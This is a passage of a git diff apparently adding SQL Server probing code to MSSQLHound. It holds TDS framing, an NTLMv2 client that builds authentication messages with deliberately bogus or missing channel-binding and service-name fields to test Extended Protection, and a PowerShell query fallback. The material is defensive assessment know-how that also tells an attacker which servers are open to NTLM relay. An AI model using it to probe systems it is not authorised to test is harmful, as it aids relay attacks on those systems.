err) + } + n += read + } + + pktLen := int(binary.BigEndian.Uint16(hdr[2:4])) + if pktLen < tdsHeaderSize { + return nil, fmt.Errorf("TDS packet length %d too small", pktLen) + } + + payloadLen := pktLen - tdsHeaderSize + var payload []byte + if payloadLen > 0 { + payload = make([]byte, payloadLen) + n = 0 + for n < payloadLen { + read, err := tlsConn.Read(payload[n:]) + if err != nil { + return nil, fmt.Errorf("read TDS payload through TLS: %w", err) + } + n += read + } + } + + // Check if this is EOM + status := hdr[1] + if status&0x01 != 0 { + return payload, nil + } + + // Read more packets until EOM + for { + moreHdr := make([]byte, tdsHeaderSize) + n = 0 + for n < tdsHeaderSize { + read, err := tlsConn.Read(moreHdr[n:]) + if err != nil { + return nil, err + } + n += read + } + + morePktLen := int(binary.BigEndian.Uint16(moreHdr[2:4])) + morePayloadLen := morePktLen - tdsHeaderSize + if morePayloadLen > 0 { + morePay := make([]byte, morePayloadLen) + n = 0 + for n < morePayloadLen { + read, err := tlsConn.Read(morePay[n:]) + if err != nil { + return nil, err + } + n += read + } + payload = append(payload, morePay...) + } + + if moreHdr[1]&0x01 != 0 { + break + } + } + + return payload, nil +} diff --git a/internal/mssql/ntlm_auth.go b/internal/mssql/ntlm_auth.go new file mode 100644 index 0000000..f06622e --- /dev/null +++ b/internal/mssql/ntlm_auth.go @@ -0,0 +1,588 @@ +// Package mssql - NTLMv2 authentication with controllable AV_PAIRs for EPA testing. +// Implements NTLM Type1/Type2/Type3 message generation with the ability to +// add, remove, or modify MsvAvChannelBindings and MsvAvTargetName AV_PAIRs. +package mssql + +import ( + "crypto/hmac" + "crypto/md5" + "crypto/rand" + "crypto/sha256" + "crypto/tls" + "encoding/binary" + "fmt" + "strings" + "unicode/utf16" + + "golang.org/x/crypto/md4" +) + +// NTLM AV_PAIR IDs (MS-NLMP 2.2.2.1) +const ( + avIDMsvAvEOL uint16 = 0x0000 + avIDMsvAvNbComputerName uint16 = 0x0001 + avIDMsvAvNbDomainName uint16 = 0x0002 + avIDMsvAvDNSComputerName uint16 = 0x0003 + avIDMsvAvDNSDomainName uint16 = 0x0004 + avIDMsvAvDNSTreeName uint16 = 0x0005 + avIDMsvAvFlags uint16 = 0x0006 + avIDMsvAvTimestamp uint16 = 0x0007 + avIDMsvAvTargetName uint16 = 0x0009 + avIDMsvChannelBindings uint16 = 0x000A +) + +// NTLM negotiate flags +const ( + ntlmFlagUnicode uint32 = 0x00000001 + ntlmFlagOEM uint32 = 0x00000002 + ntlmFlagRequestTarget uint32 = 0x00000004 + ntlmFlagSign uint32 = 0x00000010 + ntlmFlagSeal uint32 = 0x00000020 + ntlmFlagNTLM uint32 = 0x00000200 + ntlmFlagAlwaysSign uint32 = 0x00008000 + ntlmFlagDomainSupplied uint32 = 0x00001000 + ntlmFlagWorkstationSupplied uint32 = 0x00002000 + ntlmFlagExtendedSessionSecurity uint32 = 0x00080000 + ntlmFlagTargetInfo uint32 = 0x00800000 + ntlmFlagVersion uint32 = 0x02000000 + ntlmFlag128 uint32 = 0x20000000 + ntlmFlagKeyExch uint32 = 0x40000000 + ntlmFlag56 uint32 = 0x80000000 +) + +// MsvAvFlags bit values +const ( + msvAvFlagMICPresent uint32 = 0x00000002 +) + +// NTLM message types +const ( + ntlmNegotiateType uint32 = 1 + ntlmChallengeType uint32 = 2 + ntlmAuthenticateType uint32 = 3 +) + +// EPATestMode controls what AV_PAIRs are included/excluded in the NTLM Type3 message. +type EPATestMode int + +const ( + // EPATestNormal includes correct CBT and service binding + EPATestNormal EPATestMode = iota + // EPATestBogusCBT includes incorrect CBT hash + EPATestBogusCBT + // EPATestMissingCBT excludes MsvAvChannelBindings AV_PAIR entirely + EPATestMissingCBT + // EPATestBogusService includes incorrect service name ("cifs") + EPATestBogusService + // EPATestMissingService excludes MsvAvTargetName and strips target service + EPATestMissingService +) + +// ntlmAVPair represents a single AV_PAIR entry in NTLM target info. +type ntlmAVPair struct { + ID uint16 + Value []byte +} + +// ntlmAuth handles NTLMv2 authentication with controllable EPA settings. +type ntlmAuth struct { + domain string + username string + password string + targetName string // SPN e.g. MSSQLSvc/hostname:port + + testMode EPATestMode + channelBindingHash []byte // 16-byte MD5 of SEC_CHANNEL_BINDINGS + + // State preserved across message generation + negotiateMsg []byte + challengeMsg []byte // Raw Type2 bytes from server (needed for MIC computation) + serverChallenge [8]byte + targetInfoRaw []byte + negotiateFlags uint32 + timestamp []byte // 8-byte FILETIME from server + serverDomain string // NetBIOS domain name from Type2 MsvAvNbDomainName (for NTLMv2 hash) +} + +func newNTLMAuth(domain, username, password, targetName string) *ntlmAuth { + return &ntlmAuth{ + domain: domain, + username: username, + password: password, + targetName: targetName, + testMode: EPATestNormal, + } +} + +// SetEPATestMode configures how CBT and service binding are handled. +func (a *ntlmAuth) SetEPATestMode(mode EPATestMode) { + a.testMode = mode +} + +// SetChannelBindingHash sets the CBT hash computed from the TLS session. +func (a *ntlmAuth) SetChannelBindingHash(hash []byte) { + a.channelBindingHash = hash +} + +// CreateNegotiateMessage builds NTLM Type1 (Negotiate) message. +func (a *ntlmAuth) CreateNegotiateMessage() []byte { + flags := ntlmFlagUnicode | + ntlmFlagOEM | + ntlmFlagRequestTarget | + ntlmFlagNTLM | + ntlmFlagAlwaysSign | + ntlmFlagExtendedSessionSecurity | + ntlmFlagTargetInfo | + ntlmFlagVersion | + ntlmFlag128 | + ntlmFlag56 + + // Minimal Type1: signature(8) + type(4) + flags(4) + domain fields(8) + workstation fields(8) + version(8) + msg := make([]byte, 40) + copy(msg[0:8], []byte("NTLMSSP\x00")) + binary.LittleEndian.PutUint32(msg[8:12], ntlmNegotiateType) + binary.LittleEndian.PutUint32(msg[12:16], flags) + // Domain Name Fields (empty) + // Workstation Fields (empty) + // Version: 10.0.20348 (Windows Server 2022) + msg[32] = 10 // Major + msg[33] = 0 // Minor + binary.LittleEndian.PutUint16(msg[34:36], 20348) // Build + msg[39] = 0x0F // NTLMSSP revision + + a.negotiateMsg = make([]byte, len(msg)) + copy(a.negotiateMsg, msg) + return msg +} + +// ProcessChallenge parses NTLM Type2 (Challenge) and extracts server challenge, +// flags, and target info AV_PAIRs. +func (a *ntlmAuth) ProcessChallenge(challengeData []byte) error { + if len(challengeData) < 32 { + return fmt.Errorf("NTLM challenge too short: %d bytes", len(challengeData)) + } + + // Store raw challenge bytes for MIC computation (must use original bytes, not reconstructed) + a.challengeMsg = make([]byte, len(challengeData)) + copy(a.challengeMsg, challengeData) + + sig := string(challengeData[0:8]) + if sig != "NTLMSSP\x00" { + return fmt.Errorf("invalid NTLM signature") + } + + msgType := binary.LittleEndian.Uint32(challengeData[8:12]) + if msgType != ntlmChallengeType { + return fmt.Errorf("expected NTLM challenge (type 2), got type %d", msgType) + } + + // Server challenge at offset 24 (8 bytes) + copy(a.serverChallenge[:], challengeData[24:32]) + + // Negotiate flags at offset 20 + a.negotiateFlags = binary.LittleEndian.Uint32(challengeData[20:24]) + + // Target info fields at offsets 40-47 (if present) + if len(challengeData) >= 48 { + targetInfoLen := binary.LittleEndian.Uint16(challengeData[40:42]) + targetInfoOffset := binary.LittleEndian.Uint32(challengeData[44:48]) + + if targetInfoLen > 0 && int(targetInfoOffset)+int(targetInfoLen) <= len(challengeData) { + a.targetInfoRaw = make([]byte, targetInfoLen) + copy(a.targetInfoRaw, challengeData[targetInfoOffset:targetInfoOffset+uint32(targetInfoLen)]) + + // Extract timestamp and NetBIOS domain name from AV_PAIRs + pairs := parseAVPairs(a.targetInfoRaw) + for _, p := range pairs { + if p.ID == avIDMsvAvTimestamp && len(p.Value) == 8 { + a.timestamp = make([]byte, 8) + copy(a.timestamp, p.Value) + } + if p.ID == avIDMsvAvNbDomainName && len(p.Value) > 0 { + // Decode UTF-16LE domain name + a.serverDomain = decodeUTF16LE(p.Value) + } + } + } + } + + return nil +} + +// CreateAuthenticateMessage builds NTLM Type3 (Authenticate) message with +// controllable AV_PAIRs based on the test mode. +func (a *ntlmAuth) CreateAuthenticateMessage() ([]byte, error) { + if a.targetInfoRaw == nil { + return nil, fmt.Errorf("no target info available from challenge") + } + + // Build modified target info with EPA-controlled AV_PAIRs + modifiedTargetInfo := a.buildModifiedTargetInfo() + + // Generate client challenge (8 random bytes) + var clientChallenge [8]byte + if _, err := rand.Read(clientChallenge[:]); err != nil { + return nil, fmt.Errorf("generating client challenge: %w", err) + } + + // Use server timestamp if available, otherwise generate one + timestamp := a.timestamp + if timestamp == nil { + timestamp = make([]byte, 8) + // Use a reasonable default timestamp + } + + // Compute NTLMv2 hash using the server's NetBIOS domain name (from Type2 MsvAvNbDomainName) + // per MS-NLMP Section 3.3.2: "the client SHOULD use [MsvAvNbDomainName] for UserDom" + authDomain := a.domain + if a.serverDomain != "" { + authDomain = a.serverDomain + } + ntlmV2Hash := computeNTLMv2Hash(a.password, a.username, authDomain) + + // Build the NtChallengeResponse blob + // Structure: ResponseType(1) + HiResponseType(1) + Reserved1(2) + Reserved2(4) + + // Timestamp(8) + ClientChallenge(8) + Reserved3(4) + TargetInfo + Reserved4(4) + blobLen := 28 + len(modifiedTargetInfo) + 4 + blob := make([]byte, blobLen) + blob[0] = 0x01 // ResponseType + blob[1] = 0x01 // HiResponseType + // Reserved1 and Reserved2 are zero + copy(blob[8:16], timestamp) + copy(blob[16:24], clientChallenge[:]) + // Reserved3 is zero + copy(blob[28:], modifiedTargetInfo) + // Reserved4 (trailing 4 zero bytes) + + // Compute NTProofStr = HMAC_MD5(NTLMv2Hash, ServerChallenge + Blob) + challengeAndBlob := make([]byte, 8+len(blob)) + copy(challengeAndBlob[:8], a.serverChallenge[:]) + copy(challengeAndBlob[8:], blob) + ntProofStr := hmacMD5Sum(ntlmV2Hash, challengeAndBlob) + + // NtChallengeResponse = NTProofStr + Blob + ntResponse := append(ntProofStr, blob...) + + // Session base key = HMAC_MD5(NTLMv2Hash, NTProofStr) + sessionBaseKey := hmacMD5Sum(ntlmV2Hash, ntProofStr) + + // LmChallengeResponse for NTLMv2 with target info: 24 zero bytes + lmResponse := make([]byte, 24) + + // Build the authenticate flags + flags := ntlmFlagUnicode | + ntlmFlagRequestTarget | + ntlmFlagNTLM | + ntlmFlagAlwaysSign | + ntlmFlagExtendedSessionSecurity | + ntlmFlagTargetInfo | + ntlmFlagVersion | + ntlmFlag128 | + ntlmFlag56 + + // Build Type3 message (use same authDomain for consistency) + domain16 := encodeUTF16LE(authDomain) + user16 := encodeUTF16LE(a.username) + workstation16 := encodeUTF16LE("") // empty workstation + + lmLen := len(lmResponse) + ntLen := len(ntResponse) + domainLen := len(domain16) + userLen := len(user16) + wsLen := len(workstation16) + + // Header is 88 bytes (includes 16-byte MIC field) + headerSize := 88 + totalLen := headerSize + lmLen + ntLen + domainLen + userLen + wsLen + + msg := make([]byte, totalLen) + copy(msg[0:8], []byte("NTLMSSP\x00")) + binary.LittleEndian.PutUint32(msg[8:12], ntlmAuthenticateType) + + offset := uint32(headerSize) + + // LmChallengeResponse fields + binary.LittleEndian.PutUint16(msg[12:14], uint16(lmLen)) + binary.LittleEndian.PutUint16(msg[14:16], uint16(lmLen)) + binary.LittleEndian.PutUint32(msg[16:20], offset) + copy(msg[offset:], lmResponse) + offset += uint32(lmLen) + + // NtChallengeResponse fields + binary.LittleEndian.PutUint16(msg[20:22], uint16(ntLen)) + binary.LittleEndian.PutUint16(msg[22:24], uint16(ntLen)) + binary.LittleEndian.PutUint32(msg[24:28], offset) + copy(msg[offset:], ntResponse) + offset += uint32(ntLen) + + // Domain name fields + binary.LittleEndian.PutUint16(msg[28:30], uint16(domainLen)) + binary.LittleEndian.PutUint16(msg[30:32], uint16(domainLen)) + binary.LittleEndian.PutUint32(msg[32:36], offset) + copy(msg[offset:], domain16) + offset += uint32(domainLen) + + // User name fields + binary.LittleEndian.PutUint16(msg[36:38], uint16(userLen)) + binary.LittleEndian.PutUint16(msg[38:40], uint16(userLen)) + binary.LittleEndian.PutUint32(msg[40:44], offset) + copy(msg[offset:], user16) + offset += uint32(userLen) + + // Workstation fields + binary.LittleEndian.PutUint16(msg[44:46], uint16(wsLen)) + binary.LittleEndian.PutUint16(msg[46:48], uint16(wsLen)) + binary.LittleEndian.PutUint32(msg[48:52], offset) + copy(msg[offset:], workstation16) + offset += uint32(wsLen) + + // Encrypted random session key fields (empty) + binary.LittleEndian.PutUint16(msg[52:54], 0) + binary.LittleEndian.PutUint16(msg[54:56], 0) + binary.LittleEndian.PutUint32(msg[56:60], offset) + + // Negotiate flags + binary.LittleEndian.PutUint32(msg[60:64], flags) + + // Version: 10.0.20348 + msg[64] = 10 + msg[65] = 0 + binary.LittleEndian.PutUint16(msg[66:68], 20348) + msg[71] = 0x0F // NTLMSSP revision + + // MIC (16 bytes at offset 72): compute over all three NTLM messages + // Must use the raw Type2 bytes from the server (not reconstructed) + // First zero it out (it's already zero), compute the MIC, then fill it in + mic := computeMIC(sessionBaseKey, a.negotiateMsg, a.challengeMsg, msg) + copy(msg[72:88], mic) + + return msg, nil +} + +// buildModifiedTargetInfo constructs the target info for the NtChallengeResponse +// with AV_PAIRs added, removed, or modified per the EPATestMode. +func (a *ntlmAuth) buildModifiedTargetInfo() []byte { + pairs := parseAVPairs(a.targetInfoRaw) + + // Remove existing EOL, channel bindings, target name, and flags + // (we'll re-add them with our modifications) + var filtered []ntlmAVPair + for _, p := range pairs { + switch p.ID { + case avIDMsvAvEOL: + continue // will re-add at end + case avIDMsvChannelBindings: + continue // will add our own + case avIDMsvAvTargetName: + continue // will add our own + case avIDMsvAvFlags: + continue // will add our own with MIC flag + default: + filtered = append(filtered, p) + } + } + + // Add MsvAvFlags with MIC present bit + flagsValue := make([]byte, 4) + binary.LittleEndian.PutUint32(flagsValue, msvAvFlagMICPresent) + filtered = append(filtered, ntlmAVPair{ID: avIDMsvAvFlags, Value: flagsValue}) + + // Add Channel Binding and Target Name based on test mode + switch a.testMode { + case EPATestNormal: + // Include correct CBT hash + if len(a.channelBindingHash) == 16 { + filtered = append(filtered, ntlmAVPair{ID: avIDMsvChannelBindings, Value: a.channelBindingHash}) + } else { + // No TLS = no CBT (empty 16-byte hash) + filtered = append(filtered, ntlmAVPair{ID: avIDMsvChannelBindings, Value: make([]byte, 16)}) + } + // Include correct SPN + if a.targetName != "" { + filtered = append(filtered, ntlmAVPair{ID: avIDMsvAvTargetName, Value: encodeUTF16LE(a.targetName)}) + } + + case EPATestBogusCBT: + // Include bogus 16-byte CBT hash + bogusCBT := []byte{0xc0, 0x91, 0x30, 0xd2, 0xc4, 0xc3, 0xd4, 0xc7, 0x51, 0x5a, 0xb4, 0x52, 0xdf, 0x08, 0xaf, 0xfd} + filtered = append(filtered, ntlmAVPair{ID: avIDMsvChannelBindings, Value: bogusCBT}) + // Include correct SPN + if a.targetName != "" { + filtered = append(filtered, ntlmAVPair{ID: avIDMsvAvTargetName, Value: encodeUTF16LE(a.targetName)}) + } + + case EPATestMissingCBT: + // Do NOT include MsvAvChannelBindings at all + // Include correct SPN + if a.targetName != "" { + filtered = append(filtered, ntlmAVPair{ID: avIDMsvAvTargetName, Value: encodeUTF16LE(a.targetName)}) + } + + case EPATestBogusService: + // Include correct CBT (if available) + if len(a.channelBindingHash) == 16 { + filtered = append(filtered, ntlmAVPair{ID: avIDMsvChannelBindings, Value: a.channelBindingHash}) + } else { + filtered = append(filtered, ntlmAVPair{ID: avIDMsvChannelBindings, Value: make([]byte, 16)}) + } + // Include bogus service name (cifs instead of MSSQLSvc) + hostname := a.targetName + if idx := strings.Index(hostname, "/"); idx >= 0 { + hostname = hostname[idx+1:] + } + bogusTarget := "cifs/" + hostname + filtered = append(filtered, ntlmAVPair{ID: avIDMsvAvTargetName, Value: encodeUTF16LE(bogusTarget)}) + + case EPATestMissingService: + // Do NOT include MsvAvChannelBindings + // Do NOT include MsvAvTargetName + // (both stripped) + } + + // Add EOL terminator + filtered = append(filtered, ntlmAVPair{ID: avIDMsvAvEOL, Value: nil}) + + return serializeAVPairs(filtered) +} + +// parseAVPairs parses raw target info bytes into a list of AV_PAIRs. +func parseAVPairs(data []byte) []ntlmAVPair { + var pairs []ntlmAVPair + offset := 0 + for offset+4 <= len(data) { + id := binary.LittleEndian.Uint16(data[offset : offset+2]) + length := binary.LittleEndian.Uint16(data[offset+2 : offset+4]) + offset += 4 + + if id == avIDMsvAvEOL { + pairs = append(pairs, ntlmAVPair{ID: id}) + break + } + + if offset+int(length) > len(data) { + break + } + + value := make([]byte, length) + copy(value, data[offset:offset+int(length)]) + pairs = append(pairs, ntlmAVPair{ID: id, Value: value}) + offset += int(length) + } + return pairs +} + +// serializeAVPairs serializes AV_PAIRs back to bytes. +func serializeAVPairs(pairs []ntlmAVPair) []byte { + var buf []byte + for _, p := range pairs { + b := make([]byte, 4+len(p.Value)) + binary.LittleEndian.PutUint16(b[0:2], p.ID) + binary.LittleEndian.PutUint16(b[2:4], uint16(len(p.Value))) + copy(b[4:], p.Value) + buf = append(buf, b...) + } + return buf +} + +// computeNTLMv2Hash computes NTLMv2 hash: HMAC-MD5(MD4(UTF16LE(password)), UTF16LE(UPPER(username) + domain)) +func computeNTLMv2Hash(password, username, domain string) []byte { + // NT hash = MD4(UTF16LE(password)) + h := md4.New() + h.Write(encodeUTF16LE(password)) + ntHash := h.Sum(nil) + + // NTLMv2 hash = HMAC-MD5(ntHash, UTF16LE(UPPER(username) + domain)) + identity := encodeUTF16LE(strings.ToUpper(username) + domain) + return hmacMD5Sum(ntHash, identity) +} + +// computeMIC computes the MIC over all three NTLM messages using HMAC-MD5. +func computeMIC(sessionBaseKey, negotiateMsg, challengeMsg, authenticateMsg []byte) []byte { + data := make([]byte, 0, len(negotiateMsg)+len(challengeMsg)+len(authenticateMsg)) + data = append(data, negotiateMsg...) + data = append(data, challengeMsg...) + data = append(data, authenticateMsg...) + return hmacMD5Sum(sessionBaseKey, data) +} + +// computeChannelBindingHash computes the MD5 hash of the SEC_CHANNEL_BINDINGS +// structure for the MsvAvChannelBindings AV_PAIR. +// The input is the DER-encoded TLS server certificate. +func computeChannelBindingHash(certDER []byte) []byte { + // Compute certificate hash using SHA-256 (tls-server-end-point per RFC 5929) + certHash := sha256.Sum256(certDER) + + // Build SEC_CHANNEL_BINDINGS structure: + // Initiator addr type (4 bytes): 0 + // Initiator addr length (4 bytes): 0 + // Acceptor addr type (4 bytes): 0 + // Acceptor addr length (4 bytes): 0 + // Application data length (4 bytes): len("tls-server-end-point:" + certHash) + // Application data: "tls-server-end-point:" + certHash + + prefix := []byte("tls-server-end-point:") + appData := append(prefix, certHash[:]...) + appDataLen := len(appData) + + // Total structure: 20 bytes header + 4 bytes app data length + app data + // Actually the SEC_CHANNEL_BINDINGS struct is: + // dwInitiatorAddrType (4) + cbInitiatorLength (4) + + // dwAcceptorAddrType (4) + cbAcceptorLength (4) + + // cbApplicationDataLength (4) = 20 bytes + // Followed by the application data + + structure := make([]byte, 20+appDataLen) + // All initiator/acceptor fields are zero + binary.LittleEndian.PutUint32(structure[16:20], uint32(appDataLen)) + copy(structure[20:], appData) + + // MD5 hash of the entire structure + hash := md5.Sum(structure) + return hash[:] +} + +// getChannelBindingHashFromTLS extracts the TLS server certificate and computes the CBT hash. +func getChannelBindingHashFromTLS(tlsConn *tls.Conn) ([]byte, error) { + state := tlsConn.ConnectionState() + if len(state.PeerCertificates) == 0 { + return nil, fmt.Errorf("no server certificate in TLS connection") + } + + certDER := state.PeerCertificates[0].Raw + return computeChannelBindingHash(certDER), nil +} + +// computeSPN builds the Service Principal Name for NTLM service binding. +func computeSPN(hostname string, port int) string { + return fmt.Sprintf("MSSQLSvc/%s:%d", hostname, port) +} + +// hmacMD5Sum computes HMAC-MD5. +func hmacMD5Sum(key, data []byte) []byte { + h := hmac.New(md5.New, key) + h.Write(data) + return h.Sum(nil) +} + +// encodeUTF16LE encodes a string as UTF-16LE bytes. +func encodeUTF16LE(s string) []byte { + encoded := utf16.Encode([]rune(s)) + b := make([]byte, 2*len(encoded)) + for i, r := range encoded { + b[2*i] = byte(r) + b[2*i+1] = byte(r >> 8) + } + return b +} + +// decodeUTF16LE decodes UTF-16LE bytes to a string. +func decodeUTF16LE(b []byte) string { + if len(b)%2 != 0 { + b = b[:len(b)-1] + } + u16 := make([]uint16, len(b)/2) + for i := range u16 { + u16[i] = binary.LittleEndian.Uint16(b[2*i : 2*i+2]) + } + return string(utf16.Decode(u16)) +} diff --git a/internal/mssql/powershell_fallback.go b/internal/mssql/powershell_fallback.go new file mode 100644 index 0000000..e3317e8 --- /dev/null +++ b/internal/mssql/powershell_fallback.go @@ -0,0 +1,313 @@ +// Package mssql provides SQL Server connection and data collection functionality. +package mssql + +import ( + "bytes" + "context" + "encoding/json" + "fmt" + "os/exec" + "regexp" + "strings" + "time" +) + +// extractPowerShellError extracts the meaningful error message from PowerShell stderr output +// PowerShell stderr includes the full script and verbose error info - we just want the exception message +func extractPowerShellError(stderr string) string { + // Look for the exception message pattern from Write-Error output + // Example: 'Exception calling "Open" with "0" argument(s): "Login failed for user 'AD005\Z004HYMU-A01'."' + + // Try to find the actual exception message + if idx := strings.Index(stderr, "Exception calling"); idx != -1 { + // Extract from "Exception calling" to the end of that line or next major section + rest := stderr[idx:] + // Find the quoted error message + re := regexp.MustCompile(`"([^"]+)"[^"]*$`) + if matches := re.FindStringSubmatch(strings.Split(rest, "\n")[0]); len(matches) > 1 { + return matches[1] + } + // Just return the first line + if nlIdx := strings.Index(rest, "\n"); nlIdx != -1 { + return strings.TrimSpace(rest[:nlIdx]) + } + return strings.TrimSpace(rest) + } + + // Look for common SQL error patterns + if idx := strings.Index(stderr, "Login failed"); idx != -1 { + rest := stderr[idx:] + if nlIdx := strings.Index(rest, "\n"); nlIdx != -1 { + return strings.TrimSpace(rest[:nlIdx]) + } + return strings.TrimSpace(rest) + } + + // Fallback: return first non-empty line that doesn't look like script content + lines := strings.Split(stderr, "\n") + for _, line := range lines { + line = strings.TrimSpace(line) + if line == "" { + continue + } + // Skip lines that look like script content + if strings.HasPrefix(line, "$") || strings.HasPrefix(line, "try") || + strings.HasPrefix(line, "}") || strings.HasPrefix(line, "#") || + strings.HasPrefix(line, "if") || strings.HasPrefix(line, "foreach") { + continue + } + return line + } + + return strings.TrimSpace(stderr) +} + +// PowerShellClient provides SQL Server connectivity using PowerShell and System.Data.SqlClient +// as a fallback when go-mssqldb fails with SSPI/Kerberos authentication issues. +type PowerShellClient struct { + serverInstance string + hostname string + port int + instanceName string + userID string + password string + useWindowsAuth bool + verbose bool +} + +// NewPowerShellClient creates a new PowerShell-based SQL client +func NewPowerShellClient(serverInstance, userID, password string) *PowerShellClient { + hostname, port, instanceName := parseServerInstance(serverInstance) + + return &PowerShellClient{ + serverInstance: serverInstance, + hostname: hostname, + port: port, + instanceName: instanceName, + userID: userID, + password: password, + useWindowsAuth: userID == "" && password == "", + } +} + +// SetVerbose enables or disables verbose logging +func (p *PowerShellClient) SetVerbose(verbose bool) { + p.verbose = verbose +} + +// logVerbose logs a message only if verbose mode is enabled +func (p *PowerShellClient) logVerbose(format string, args ...interface{}) { + if p.verbose { + fmt.Printf(format+"\n", args...) + } +} + +// buildConnectionString creates the .NET SqlClient connection string +func (p *PowerShellClient) buildConnectionString() string { + var parts []string + + // Build server string + server := p.hostname + if p.instanceName != "" { + server = fmt.Sprintf("%s\\%s", p.hostname, p.instanceName) + } else if p.port > 0 && p.port != 1433 { + server = fmt.Sprintf("%s,%d", p.hostname, p.port) + } + parts = append(parts, fmt.Sprintf("Server=%s", server)) + + if p.useWindowsAuth { + parts = append(parts, "Integrated Security=True") + } else { + parts = append(parts, fmt.Sprintf("User Id=%s", p.userID)) + parts = append(parts, fmt.Sprintf("Password=%s", p.password)) + } + + parts = append(parts, "TrustServerCertificate=True") + parts = append(parts, "Application Name=MSSQLHound") + + return strings.Join(parts, ";") +} + +// TestConnection tests if PowerShell can connect to the server +func (p *PowerShellClient) TestConnection(ctx context.Context) error { + query := "SELECT 1 AS test" + _, err := p.ExecuteQuery(ctx, query) + return err +} + +// QueryResult represents a row of query results +type QueryResult map[string]interface{} + +// QueryResponse includes both results and column order +type QueryResponse struct { + Columns []string `json:"columns"` + Rows []QueryResult `json:"rows"` +} + +// ExecuteQuery executes a SQL query using PowerShell and returns the results as JSON +func (p *PowerShellClient) ExecuteQuery(ctx context.Context, query string) (*QueryResponse, error) { + connStr := p.buildConnectionString() + + // PowerShell script that executes the query and returns JSON with column order preserved + // Note: The SQL query is placed in a here-string (@' ... '@) which preserves + // content literally - no escaping needed. Only the connection string needs escaping. + psScript := fmt.Sprintf(` +$ErrorActionPreference = 'Stop' +try { + $conn = New-Object System.Data.SqlClient.SqlConnection + $conn.ConnectionString = '%s' + $conn.Open() + + $cmd = $conn.CreateCommand() + $cmd.CommandText = @' +%s +'@ + $cmd.CommandTimeout = 120 + + $adapter = New-Object System.Data.SqlClient.SqlDataAdapter($cmd) + $dataset = New-Object System.Data.DataSet + [void]$adapter.Fill($dataset) + + $response = @{ + columns = @() + rows = @() + } + + if ($dataset.Tables.Count -gt 0) { + # Get column names in order + foreach ($col in $dataset.Tables[0].Columns) { + $response.columns += $col.ColumnName + } + + foreach ($row in $dataset.Tables[0].Rows) { + $obj = @{} + foreach ($col in $dataset.Tables[0].Columns) { + $val = $row[$col.ColumnName] + if ($val -is [DBNull]) { + $obj[$col.ColumnName] = $null + } elseif ($val -is [byte[]]) { + $obj[$col.ColumnName] = "0x" + [BitConverter]::ToString($val).Replace("-", "") + } else { + $obj[$col.ColumnName] = $val + } + } + $response.rows += $obj + } + } + + $conn.Close() + $response | ConvertTo-Json -Depth 10 -Compress +} catch { + Write-Error $_.Exception.Message + exit 1 +} +`, strings.ReplaceAll(connStr, "'", "''"), query) + + // Create command with timeout + cmdCtx, cancel := context.WithTimeout(ctx, 2*time.Minute) + defer cancel() + + cmd := exec.CommandContext(cmdCtx, "powershell", "-NoProfile", "-NonInteractive", "-Command", psScript) + + var stdout, stderr bytes.Buffer + cmd.Stdout = &stdout + cmd.Stderr = &stderr + + err := cmd.Run() + if err != nil { + errMsg := extractPowerShellError(stderr.String()) + if errMsg == "" { + errMsg = err.Error() + } + return nil, fmt.Errorf("PowerShell: %s", errMsg) + } + + output := strings.TrimSpace(stdout.String()) + if output == "" || output == "null" { + return &QueryResponse{Columns: []string{}, Rows: []QueryResult{}}, nil + } + + // Parse JSON result - now expects {columns: [...], rows: [...]} + var response QueryResponse + err = json.Unmarshal([]byte(output), &response) + if err != nil { + return nil, fmt.Errorf("failed to parse PowerShell output: %w", err) + } + + return &response, nil +} + +// ExecuteScalar executes a query and returns a single value +func (p *PowerShellClient) ExecuteScalar(ctx context.Context, query string) (interface{}, error) { + response, err := p.ExecuteQuery(ctx, query) + if err != nil { + return nil, err + } + if len(response.Rows) == 0 || len(response.Columns) == 0 { + return nil, nil + } + // Return first column of first row (using column order) + firstCol := response.Columns[0] + return response.Rows[0][firstCol], nil +} + +// GetString helper to get string value from QueryResult +func (r QueryResult) GetString(key string) string { + if v, ok := r[key]; ok && v != nil { + switch val := v.(type) { + case string: + return val + case float64: + return fmt.Sprintf("%.0f", val) + default: + return fmt.Sprintf("%v", val) + } + } + return "" +} + +// GetInt helper to get int value from QueryResult +func (r QueryResult) GetInt(key string) int { + if v, ok := r[key]; ok && v != nil { + switch val := v.(type) { + case float64: + return int(val) + case int: + return val + case int64: + return int(val) + case string: + i, _ := fmt.Sscanf(val, "%d", new(int)) + return i + } + } + return 0 +} + +// GetBool helper to get bool value from QueryResult +func (r QueryResult) GetBool(key string) bool { + if v, ok := r[key]; ok && v != nil { + switch val := v.(type) { + case bool: + return val + case float64: + return val != 0 + case int: + return val != 0 + case string: + return strings.ToLower(val) == "true" || val == "1" + } + } + return false +} + +// IsUntrustedDomainError checks if the error is the "untrusted domain" SSPI error +func IsUntrustedDomainError(err error) bool { + if err == nil { + return false + } + errStr := strings.ToLower(err.Error()) + return strings.Contains(errStr, "untrusted domain") || + strings.Contains(errStr, "cannot be used with windows authentication") || + strings.Contains(errStr, "cannot be used with integrated authentication") +} diff --git a/internal/mssql/tds_transport.go b/internal/mssql/tds_transport.go new file mode 100644 index 0000000..af56156 --- /dev/null +++ b/internal/mssql/tds_transport.go @@ -0,0 +1,214 @@ +// Package mssql - TDS transport layer for raw EPA testing. +// Implements TDS packet framing and TLS-over-TDS handshake adapter. +package mssql + +import ( + "bytes" + "crypto/tls" + "encoding/binary" + "fmt" + "io" + "net" + "time" +) + +// TDS packet types +const ( + tdsPacketTabularResult byte = 0x04 + tdsPacketLogin7 byte = 0x10 + tdsPacketSSPI byte = 0x11 + tdsPacketPrelogin byte = 0x12 +) + +// TDS header size +const tdsHeaderSize = 8 + +// Maximum TDS packet size for EPA testing +const tdsMaxPacketSize = 4096 + +// tdsConn wraps a net.Conn with TDS packet-level read/write. +type tdsConn struct { + conn net.Conn +} + +func newTDSConn(conn net.Conn) *tdsConn { + return &tdsConn{conn: conn} +} + +// sendPacket sends a complete TDS packet with the given type and payload. +func (t *tdsConn) sendPacket(packetType byte, payload []byte) error { + maxPayload := tdsMaxPacketSize - tdsHeaderSize + offset := 0 + for offset < len(payload) { + end := offset + maxPayload + isLast := end >= len(payload) + if isLast { + end = len(payload) + } + + chunk := payload[offset:end] + pktLen := tdsHeaderSize + len(chunk) + + status := byte(0x00) + if isLast { + status = 0x01 // EOM + } + + hdr := [tdsHeaderSize]byte{ + packetType, + status, + byte(pktLen >> 8), byte(pktLen), // Length big-endian + 0x00, 0x00, // SPID + 0x00, // PacketID + 0x00, // Window + } + + if _, err := t.conn.Write(hdr[:]); err != nil { + return fmt.Errorf("TDS write header: %w", err) + } + if _, err := t.conn.Write(chunk); err != nil { + return 